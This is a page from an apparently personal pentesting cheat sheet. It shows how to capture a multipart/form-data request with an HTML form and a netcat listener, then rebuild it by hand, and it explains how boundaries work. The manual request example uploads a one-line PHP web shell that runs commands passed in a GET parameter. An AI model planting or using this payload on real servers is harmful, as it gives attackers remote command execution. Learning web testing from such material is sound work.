Cheat Sheet Hacking
  • 🌐Generic Ideas
    • File Transfer
    • Reverse Shell
    • Cracking Tricks
    • Tunneling and Port Forwarding
    • Reversing
    • OSINT
    • Phishing
  • 🐕‍🦺Port enumeration
    • Reconnaissance
    • 53 - DNS
    • 80,443 - Web
      • Identify php.ini file used
      • Exploitation
        • File Upload
        • XXS
    • 445 - SMB
    • 389, 636, 3268 - LDAP(S)
  • LINUX THINGS
    • Enumeration
    • Privilege Escalation
      • Writable $PATH
  • WINDOWS THINGS
    • Enumeration
    • Useful Commands
    • Active Directory Methodology
      • Commands to create AD environment
      • Attacks
        • Kerberos
          • User enumeration
          • ASREP-Roast
          • Kerberoasting
          • ASREP-Roast VS Kerberoasting
          • Golden Ticket
          • Resource Based Constrained Delegation
        • Secrets dump
        • Pass The Hash
        • Dump NTDS
        • Tickets
          • TGT
        • NTML Password Spray
        • LDAP Authentication
          • LDAP Pass-back
          • Rogue LDAP Server
        • SMB Relay (LLNMR, NTB-NS & WPAD)
        • NTLM Relay
        • Tools to exploit AD things
        • SCF Files
      • Kerberos
      • SAM & LSA secrets
      • Enumeration
        • BloodHound
        • PowerView
          • CheatSheet of Commands
        • Set DNS & DOMAIN
      • Resources
      • RunAs
      • Post Explotation
        • Persistence
        • Mimikatz
      • Common used tools
  • 🕳️Pivoting
    • Port Forwarding
    • Socks Forwarding
    • Routing
    • Web Fuzzing
    • Transfer files
    • Metasploit
      • Single Pivot
      • Double Pivot
    • Burp Suite
  • 🎛️Hardware
    • Physical attacks
  • 🌕Buffer Overflow
    • Introduction
    • Stack-Based
      • Introduction
        • Spiking
        • Fuzzing
        • Find Offset
        • Overwrite EIP
        • Find module
        • Find Badchars
        • Shellcode
  • 🐳Docker
    • Commands
    • Practical examples
  • 💡Useful things
    • Burp Suite
      • Proxy Activation
    • Linux Commands
    • Recreate multipart/form-data request
      • Python
      • HTML & netcat
    • TTY
    • Templates for reports (exams)
    • Tmux
    • Other cheat sheets
Powered by GitBook
On this page
  1. Useful things
  2. Recreate multipart/form-data request

HTML & netcat

PreviousPythonNextTTY

Last updated 5 months ago

First, create a file with the content of the request:

<form action="http://localhost:8000" method="post" enctype="multipart/form-data">
  <p><input type="text" name="nombre" value="jorgesito">
  <p><input type="text" name="apellido" value="alvarado">
  <p><input type="file" name="avatar">
  <p><button type="submit">Submit</button>
</form>

Create the file to upload:

echo "si buenas" > hola.txt

Then, take the port from before and listen in that port:

nc -lvp 8000

Now, open the .html file in the browser, select the file and submit the request, we will see something like:


Manually create this request

POST / HTTP/1.1

Host: localhost:8000

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8

Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate, br

Connection: close

Upgrade-Insecure-Requests: 1

Priority: u=0, i


Content-Length: 323

Content-Type: multipart/form-data; boundary=---divino





-----divino

Content-Disposition: form-data; name="plupload"





1


-----divino

Content-Disposition: form-data; name="name"





file.php

-----divino

Content-Disposition: form-data; name="file"; filename="file.txt"

Content-Type: application/octet-stream





<?php system($_GET["xmd"]); ?>

-----divino--

Let's keep in mind this:

Content-Type: multipart/form-data; boundary=---divino

A boundary is used to differentiate the information traveling across the request, to "divide" and to indicate where is the start and the end of it.

In our example:

  • In the header, we define the boundary, and it has three dashes (---) next to random info.

  • In the body request, the boundary is the same, but, we need to append in the start two dashes (required). SO, if our boundary is boundary=ay, our body boundary will be: --ay.

  • In the last line of our information, the request needs that our boundary contains two dashes (--) in the final. This is to indicate the final boundary info for that part.

Thanks to

💡
https://stackoverflow.com/questions/4238809/example-of-multipart-form-data
https://www.w3.org/TR/html401/interact/forms.html#h-17.13.4.2